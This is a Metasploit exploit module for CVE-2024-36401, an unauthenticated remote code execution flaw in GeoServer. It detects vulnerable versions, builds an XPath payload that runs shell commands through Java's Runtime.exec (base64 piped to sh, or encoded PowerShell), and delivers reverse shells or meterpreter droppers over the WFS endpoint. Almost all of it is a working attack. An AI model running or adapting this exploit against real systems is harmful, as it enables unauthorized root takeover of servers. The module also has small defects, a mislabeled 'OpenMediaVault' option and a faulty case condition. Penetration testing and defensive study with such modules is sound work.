## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Geoserver unauthenticated Remote Code Execution', 'Description' => %q{ GeoServer is an open-source software server written in Java that provides the ability to view, edit, and share geospatial data. It is designed to be a flexible, efficient solution for distributing geospatial data from a variety of sources such as Geographic Information System (GIS) databases, web-based data, and personal datasets. In the GeoServer versions < 2.23.6, >= 2.24.0, < 2.24.4 and >= 2.25.0, < 2.25.1, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions. An attacker can abuse this by sending a POST request with a malicious xpath expression to execute arbitrary commands as root on the system. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die-gr3y ', # MSF module contributor 'jheysel-r7', # MSF module Windows support 'Steve Ikeoka' # Discovery ], 'References' => [ ['CVE', '2024-36401'], ['URL', 'https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv'], ['URL', 'https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401'], ['URL', 'https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401'] ], 'DisclosureDate' => '2024-07-01', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd # Tested with cmd/unix/reverse_bash } ], [ 'Linux Dropper', { 'Platform' => ['linux'], 'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE], 'Type' => :linux_dropper, 'Linemax' => 16384, 'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne'] # Tested with linux/x64/meterpreter_reverse_tcp } ], [ 'Windows Command', { 'Platform' => ['Windows'], 'Arch' => ARCH_CMD, 'Type' => :win_cmd # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8080, 'SSL' => false }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']) ] ) end def check_version print_status('Trying to detect if target is running a vulnerable version of GeoServer.') res = send_request_cgi!({ 'uri' => normalize_uri(target_uri.path, 'geoserver', 'web', 'wicket', 'bookmarkable', 'org.geoserver.web.AboutGeoServerPage'), 'keep_cookies' => true, 'method' => 'GET' }) return nil unless res && res.code == 200 && res.body.include?('GeoServer Version') html = res.get_html_document unless html.blank? # html identifier for Geoserver version information: 2.23.2 version = html.css('span[id="version"]') return Rex::Version.new(version[0].text) unless version[0].nil? end nil end def get_valid_featuretype allowed_feature_types = ['sf:archsites', 'sf:bugsites', 'sf:restricted', 'sf:roads', 'sf:streams', 'ne:boundary_lines', 'ne:coastlines', 'ne:countries', 'ne:disputed_areas', 'ne:populated_places'] res = send_request_cgi!({ 'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'), 'method' => 'GET', 'ctype' => 'application/xml', 'keep_cookies' => true, 'vars_get' => { 'request' => 'ListStoredQueries', 'service' => 'wfs' } }) return nil unless res && res.code == 200 && res.body.include?('ListStoredQueriesResponse') xml = res.get_xml_document unless xml.blank? xml.remove_namespaces! # get all the FeatureTypes and store them in an array of strings retrieved_feature_types = xml.xpath('//ReturnFeatureType') # shuffle the retrieved_feature_types array, and loop through the list of retrieved_feature_types from GeoServer # return the feature type if a match is found in the allowed_feature_types array retrieved_feature_types.to_a.shuffle.each do |feature_type| return feature_type.text if allowed_feature_types.include?(feature_type.text) end end nil end def create_payload(cmd) # get a valid feature type and fail back to a default if not successful feature_type = get_valid_featuretype feature_type = 'sf:archsites' if feature_type.nil? case target['Type'] when :unix_cmd || :linux_dropper # create customised b64 encoded payload # 'Encoder' => 'cmd/base64' does not work in this particular use case cmd_b64 = Base64.strict_encode64(cmd) cmd = "sh -c echo${IFS}#{cmd_b64}|base64${IFS}-d|sh" when :win_cmd enc_cmd = Base64.strict_encode64("cmd /C --% #{payload.encoded}".encode('UTF-16LE')) cmd = "powershell.exe -e #{enc_cmd}" end return <<~EOS exec(java.lang.Runtime.getRuntime(), "#{cmd}") EOS end def execute_command(cmd, _opts = {}) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'), 'method' => 'POST', 'ctype' => 'application/xml', 'keep_cookies' => true, 'data' => create_payload(cmd) }) fail_with(Failure::PayloadFailed, 'Payload execution failed.') unless res && res.code == 400 && res.body.include?('ClassCastException') end def check version_number = check_version return CheckCode::Unknown('Could not retrieve the version information.') if version_number.nil? return CheckCode::Appears("Version #{version_number}") if version_number.between?(Rex::Version.new('2.25.0'), Rex::Version.new('2.25.1')) || version_number.between?(Rex::Version.new('2.24.0'), Rex::Version.new('2.24.3')) || version_number < Rex::Version.new('2.23.6') CheckCode::Safe("Version #{version_number}") end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd, :win_cmd execute_command(payload.encoded) when :linux_dropper # don't check the response here since the server won't respond # if the payload is successfully executed. execute_cmdstager({ linemax: target.opts['Linemax'] }) end end end